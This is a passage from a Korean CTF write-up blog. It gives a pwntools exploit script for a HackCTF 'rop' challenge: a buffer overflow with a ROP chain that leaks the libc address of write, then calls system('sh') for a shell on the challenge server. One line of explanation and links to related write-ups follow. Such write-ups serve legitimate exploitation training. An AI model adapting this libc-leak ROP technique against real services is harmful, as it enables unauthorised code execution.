from pwn import *
#p = process('./rop')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./rop')
#lib = e.libc
lib = ELF("libc.so.6")
context.log_level = "debug"
ppp_r = 0x08048509
main = 0x08048470
payload = 'a' * 0x88 + 'b' * 4
payload += p32(e.plt['write']) + p32(ppp_r) + p32(1) + p32(e.got['write']) + p32(4)
payload += p32(main)
p.sendline(payload)
libc = u32(p.recv(4)) - lib.sym['write']
log.info(hex(libc))
payload = 'a' * 0x88 + 'b' * 4
payload += p32(e.plt['read']) + p32(ppp_r) + p32(0) + p32(e.bss()) + p32(8)
payload += p32(libc + lib.sym['system']) + p32(0) + p32(e.bss())
p.sendline(payload)
p.send('sh\x00')
p.interactive()
말그대로 ROP를 통해 write의 실제 주소를 출력해주고 그것을 바탕으로 libc 릭 해서 익스를 따면 된다.
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]SysROP (0) | 2019.07.15 |
---|---|
[hackctf] you are silver (0) | 2019.07.15 |
[hackctf] uaf (0) | 2019.07.15 |
[hackctf]RTL-Core (0) | 2019.07.15 |
[hack-ctf]1996 (0) | 2019.07.15 |